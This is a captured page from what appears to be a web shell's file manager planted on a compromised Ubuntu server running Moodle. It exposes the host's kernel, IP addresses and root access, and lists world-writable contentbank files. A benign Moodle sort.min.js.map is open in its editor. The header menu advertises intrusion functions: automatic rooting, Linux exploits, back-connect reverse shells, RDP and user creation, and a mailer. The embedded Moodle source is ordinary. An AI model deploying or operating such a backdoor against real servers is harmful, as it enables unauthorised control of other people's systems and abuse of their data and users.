Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
contentbank /
amd /
build /
[ HOME SHELL ]
Name
Size
Permission
Action
actions.min.js
3.76
KB
-rwxrwxrwx
actions.min.js.map
12.26
KB
-rwxrwxrwx
search.min.js
3.78
KB
-rwxrwxrwx
search.min.js.map
7.98
KB
-rwxrwxrwx
selectors.min.js
1.44
KB
-rwxrwxrwx
selectors.min.js.map
3.16
KB
-rwxrwxrwx
sort.min.js
4.49
KB
-rwxrwxrwx
sort.min.js.map
10.41
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sort.min.js.map
{"version":3,"file":"sort.min.js","sources":["../src/sort.js"],"sourcesContent":["// This file is part of Moodle - http://moodle.org/\n//\n// Moodle is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// Moodle is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with Moodle. If not, see <http://www.gnu.org/licenses/>.\n\n/**\n * Content bank UI actions.\n *\n * @module core_contentbank/sort\n * @package core_contentbank\n * @copyright 2020 Bas Brands <bas@moodle.com>\n * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n */\n\nimport selectors from './selectors';\nimport {get_string as getString} from 'core/str';\nimport Prefetch from 'core/prefetch';\nimport Ajax from 'core/ajax';\nimport Notification from 'core/notification';\n\n/**\n * Set up the contentbank views.\n *\n * @method init\n */\nexport const init = () => {\n const contentBank = document.querySelector(selectors.regions.contentbank);\n Prefetch.prefetchStrings('contentbank', ['contentname', 'lastmodified', 'size', 'type']);\n Prefetch.prefetchStrings('moodle', ['sortbyx', 'sortbyxreverse']);\n registerListenerEvents(contentBank);\n};\n\n/**\n * Register contentbank related event listeners.\n *\n * @method registerListenerEvents\n * @param {HTMLElement} contentBank The DOM node of the content bank\n */\nconst registerListenerEvents = (contentBank) => {\n\n // The search.\n const fileArea = document.querySelector(selectors.regions.filearea);\n const shownItems = fileArea.querySelectorAll(selectors.elements.listitem);\n\n // The view buttons.\n const viewGrid = contentBank.querySelector(selectors.actions.viewgrid);\n const viewList = contentBank.querySelector(selectors.actions.viewlist);\n\n viewGrid.addEventListener('click', () => {\n contentBank.classList.remove('view-list');\n contentBank.classList.add('view-grid');\n viewGrid.classList.add('active');\n viewList.classList.remove('active');\n setViewListPreference(false);\n });\n\n viewList.addEventListener('click', () => {\n contentBank.classList.remove('view-grid');\n contentBank.classList.add('view-list');\n viewList.classList.add('active');\n viewGrid.classList.remove('active');\n setViewListPreference(true);\n });\n\n // Sort by file name alphabetical\n const sortByName = contentBank.querySelector(selectors.actions.sortname);\n sortByName.addEventListener('click', () => {\n const ascending = updateSortButtons(contentBank, sortByName);\n updateSortOrder(fileArea, shownItems, 'data-file', ascending);\n });\n\n // Sort by date.\n const sortByDate = contentBank.querySelector(selectors.actions.sortdate);\n sortByDate.addEventListener('click', () => {\n const ascending = updateSortButtons(contentBank, sortByDate);\n updateSortOrder(fileArea, shownItems, 'data-timemodified', ascending);\n });\n\n // Sort by size.\n const sortBySize = contentBank.querySelector(selectors.actions.sortsize);\n sortBySize.addEventListener('click', () => {\n const ascending = updateSortButtons(contentBank, sortBySize);\n updateSortOrder(fileArea, shownItems, 'data-bytes', ascending);\n });\n\n // Sort by type\n const sortByType = contentBank.querySelector(selectors.actions.sorttype);\n sortByType.addEventListener('click', () => {\n const ascending = updateSortButtons(contentBank, sortByType);\n updateSortOrder(fileArea, shownItems, 'data-type', ascending);\n });\n};\n\n\n/**\n * Set the contentbank user preference in list view\n *\n * @param {Bool} viewList view ContentBank as list.\n * @return {Promise} Repository promise.\n */\nconst setViewListPreference = function(viewList) {\n\n // If the given status is not hidden, the preference has to be deleted with a null value.\n if (viewList === false) {\n viewList = null;\n }\n\n const request = {\n methodname: 'core_user_update_user_preferences',\n args: {\n preferences: [\n {\n type: 'core_contentbank_view_list',\n value: viewList\n }\n ]\n }\n };\n\n return Ajax.call([request])[0].catch(Notification.exception);\n};\n\n/**\n * Update the sort button view.\n *\n * @method updateSortButtons\n * @param {HTMLElement} contentBank The DOM node of the contentbank button\n * @param {HTMLElement} sortButton The DOM node of the sort button\n * @return {Bool} sort ascending\n */\nconst updateSortButtons = (contentBank, sortButton) => {\n const sortButtons = contentBank.querySelectorAll(selectors.elements.sortbutton);\n\n sortButtons.forEach((button) => {\n if (button !== sortButton) {\n button.classList.remove('dir-asc');\n button.classList.remove('dir-desc');\n button.classList.add('dir-none');\n\n updateButtonTitle(button, false);\n }\n });\n\n let ascending = true;\n\n if (sortButton.classList.contains('dir-none')) {\n sortButton.classList.remove('dir-none');\n sortButton.classList.add('dir-asc');\n } else if (sortButton.classList.contains('dir-asc')) {\n sortButton.classList.remove('dir-asc');\n sortButton.classList.add('dir-desc');\n ascending = false;\n } else if (sortButton.classList.contains('dir-desc')) {\n sortButton.classList.remove('dir-desc');\n sortButton.classList.add('dir-asc');\n }\n\n updateButtonTitle(sortButton, ascending);\n\n return ascending;\n};\n\n/**\n * Update the button title.\n *\n * @method updateButtonTitle\n * @param {HTMLElement} button Button to update\n * @param {Bool} ascending Sort direction\n * @return {Promise} string promise\n */\nconst updateButtonTitle = (button, ascending) => {\n\n const sortString = (ascending ? 'sortbyxreverse' : 'sortbyx');\n\n return getString(button.dataset.string, 'contentbank')\n .then(columnName => {\n return getString(sortString, 'core', columnName);\n })\n .then(sortByString => {\n button.setAttribute('title', sortByString);\n return sortByString;\n })\n .catch();\n};\n\n/**\n * Update the sort order of the itemlist and update the DOM\n *\n * @method updateSortOrder\n * @param {HTMLElement} fileArea the Dom container for the itemlist\n * @param {Array} itemList Nodelist of Dom elements\n * @param {String} attribute, the attribut to sort on\n * @param {Bool} ascending, Sort Ascending\n */\nconst updateSortOrder = (fileArea, itemList, attribute, ascending) => {\n const sortList = [].slice.call(itemList).sort(function(a, b) {\n\n let aa = a.getAttribute(attribute);\n let bb = b.getAttribute(attribute);\n if (!isNaN(aa)) {\n aa = parseInt(aa);\n bb = parseInt(bb);\n }\n\n if (ascending) {\n return aa > bb ? 1 : -1;\n } else {\n return aa < bb ? 1 : -1;\n }\n });\n sortList.forEach(listItem => fileArea.appendChild(listItem));\n};\n"],"names":["contentBank","document","querySelector","selectors","regions","contentbank","prefetchStrings","registerListenerEvents","fileArea","filearea","shownItems","querySelectorAll","elements","listitem","viewGrid","actions","viewgrid","viewList","viewlist","addEventListener","classList","remove","add","setViewListPreference","sortByName","sortname","ascending","updateSortButtons","updateSortOrder","sortByDate","sortdate","sortBySize","sortsize","sortByType","sorttype","request","methodname","args","preferences","type","value","Ajax","call","catch","Notification","exception","sortButton","sortbutton","forEach","button","updateButtonTitle","contains","sortString","dataset","string","then","columnName","sortByString","setAttribute","itemList","attribute","slice","sort","a","b","aa","getAttribute","bb","isNaN","parseInt","listItem","appendChild"],"mappings":"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"}
Close